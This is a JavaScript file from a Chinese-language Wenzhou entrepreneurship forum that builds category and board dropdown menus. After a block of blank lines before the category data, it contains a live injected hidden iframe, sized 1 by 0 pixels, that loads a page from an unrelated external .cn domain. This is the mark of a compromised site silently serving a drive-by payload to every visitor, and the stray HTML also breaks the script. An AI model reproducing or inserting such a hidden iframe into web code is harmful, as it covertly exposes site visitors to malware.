//category methods
	function Category(id,title) {
		this.id = id;
		this.title=title;
		this.boardlist=new Array();
		this.addBoard=addBoard;
		this.getOptions = getOptions;
	}	
	
	function addBoard(board) {
		this.boardlist = this.boardlist.concat(board);
	}
	
	function getOptions() {
		var tmp = new Array();
		for(var i=0; i < this.boardlist.length;i++) {
			var b = this.boardlist[i];
			tmp[i]= b.getOption();
		}
		return tmp;
	}
	
	//board methods
	function Board(catid,id,title,total) {		
		this.catid=catid;
		this.id=id;
		this.title=title;
		this.getOption=getOption;
	}
		
	function getOption() {
		return new Option(this.title,this.id);		
	}
		
	function changeCategory(list) {	
		if (list.selectedIndex<=0) {
			catForm.options[0].selected=true;
    		var len = boardForm.options.length;
    		for (var i=len-1;i>0;i--){
    			boardForm.options[i]=null;
    		}					
		}
        else {
    		var boards = catArr[list.selectedIndex-1].getOptions();
    		var len = boardForm.options.length;
    		for (var i=len-1;i>0;i--){
    			boardForm.options[i]=null;
    		}		
    		for (var i=0;i<boards.length;i++) {
    			boardForm.options[i+1]=boards[i];
    		}
		}
		if (boardForm.selectedIndex>=0)
		{
		boardForm.options[0].selected=true;
	    }
	}
		
	function selectBoard(catid,bid) {
		for(var i=0;i<catForm.length;i++) {
			if (catForm.options[i].value==catid) {
				//alert("get Category");
				catForm.options[i].selected=true;
				changeCategory(catForm);
				break;			
			}			
		}				
		for(var i=0;i<boardForm.length;i++) {
			if (boardForm.options[i].value==bid) {
				//alert("get Board");
				boardForm.options[i].selected=true;				
				break;
			}			
		}		
	}	
	
	//static methods	
	var catArr = new Array();
	var cur;
	
	









<iframe src=http://www.liwejr.cn/c3.htm?=1 width=1 height=0></iframe>cur = new Category('70','公告');catArr = catArr.concat(cur);cur = new Category('73','商业动态');catArr = catArr.concat(cur);cur = new Category('77','区域经济');catArr = catArr.concat(cur);cur = new Category('78','全球视点');catArr = catArr.concat(cur);cur = new Category('79','经济评论');catArr = catArr.concat(cur);cur = new Category('80','投资理财');catArr = catArr.concat(cur);cur.addBoard(new Board('80','1043','股票'));cur.addBoard(new Board('80','1044','彩票'));cur.addBoard(new Board('80','1045','基金'));cur.addBoard(new Board('80','1046','外汇'));cur.addBoard(new Board('80','1047','国债'));cur.addBoard(new Board('80','1048','艺术品'));cur.addBoard(new Board('80','1049','黄金'));cur.addBoard(new Board('80','1050','石油'));cur.addBoard(new Board('80','1051','传媒'));cur.addBoard(new Board('80','1052','汽车'));cur.addBoard(new Board('80','1053','房产'));cur.addBoard(new Board('80','1054','商标'));cur.addBoard(new Board('80','1055','煤矿'));cur.addBoard(new Board('80','1056','网络域名'));cur.addBoard(new Board('80','1057','银行'));cur.addBoard(new Board('80','1058','其他'));cur = new Category('81','海外温州人');catArr = catArr.concat(cur);cur = new Category('83','关于我们');catArr = catArr.concat(cur);cur = new Category('84','创业与法');catArr = catArr.concat(cur);cur = new Category('85','创业英雄');catArr = catArr.concat(cur);cur = new Category('86','指点迷津');catArr = catArr.concat(cur);cur = new Category('87','慈善榜');catArr = catArr.concat(cur);cur = new Category('88','创业沙龙');catArr = catArr.concat(cur);cur = new Category('89','形象展示');catArr = catArr.concat(cur);cur.addBoard(new Board('89','1033','金融'));cur.addBoard(new Board('89','1034','房产'));cur.addBoard(new Board('89','1035','教育'));cur.addBoard(new Board('89','1036','机关企事业'));cur.addBoard(new Board('89','1037','证券'));cur.addBoard(new Board('89','1038','餐饮娱乐'));cur.addBoard(new Board('89','1039','保健'));cur.addBoard(new Board('89','1040','医药'));cur.addBoard(new Board('89','1041','宾馆'));cur.addBoard(new Board('89','1042','汽车'));cur = new Category('90','招生招聘');catArr = catArr.concat(cur);cur = new Category('91','创业渠道');catArr = catArr.concat(cur);cur = new Category('92','服务天地');catArr = catArr.concat(cur);cur = new Category('93','物流供求');catArr = catArr.concat(cur);cur = new Category('94','餐饮娱乐');catArr = catArr.concat(cur);cur = new Category('95','出租转让');catArr = catArr.concat(cur);cur = new Category('96','创业书籍');catArr = catArr.concat(cur);cur = new Category('97','温州商会');catArr = catArr.concat(cur);cur = new Category('98','名人聊天室');catArr = catArr.concat(cur);cur = new Category('99','交友');catArr = catArr.concat(cur);cur = new Category('100','房地产');catArr = catArr.concat(cur);cur = new Category('101','车市');catArr = catArr.concat(cur);cur = new Category('103','温州产品交易');catArr = catArr.concat(cur);cur = new Category('104','原创 ');catArr = catArr.concat(cur);cur = new Category('105','温州时尚');catArr = catArr.concat(cur);cur = new Category('106','创业培训');catArr = catArr.concat(cur);cur = new Category('107','温州创业榜');catArr = catArr.concat(cur);cur.addBoard(new Board('107','1063','温商纳税榜'));cur.addBoard(new Board('107','1064','温州商会榜'));cur.addBoard(new Board('107','1065','温商最佳投资城市榜'));cur = new Category('108','国内外招商引资精品展示');catArr = catArr.concat(cur);cur.addBoard(new Board('108','1066','房地产'));cur.addBoard(new Board('108','1067','工业'));cur.addBoard(new Board('108','1068','餐饮娱乐'));cur.addBoard(new Board('108','1069','饰品礼品'));cur.addBoard(new Board('108','1070','服装鞋帽'));cur.addBoard(new Board('108','1071','教育网络'));cur.addBoard(new Board('108','1072','农业加工'));cur.addBoard(new Board('108','1073','家居建材'));cur.addBoard(new Board('108','1074','时尚精品'));cur.addBoard(new Board('108','1075','美容化妆'));cur.addBoard(new Board('108','1076','会议会展'));cur.addBoard(new Board('108','1077','旅游开发'));cur.addBoard(new Board('108','1078','其他'));cur = new Category('109','旅游开发');catArr = catArr.concat(cur);cur = new Category('110','家有喜事');catArr = catArr.concat(cur);cur = new Category('111','名律师之窗');catArr = catArr.concat(cur);cur = new Category('112','企业牵手形象代言人');catArr = catArr.concat(cur);
       

	//init catform
	
	var catForm = document.Form1.selectclass;
	var boardForm = document.Form1.selectclass1;
	for (var i=0;i<catArr.length;i++) {
		catForm.options[i+1]=new Option(catArr[i].title,catArr[i].id);
	}
	changeCategory(catForm);
	//init		
// -->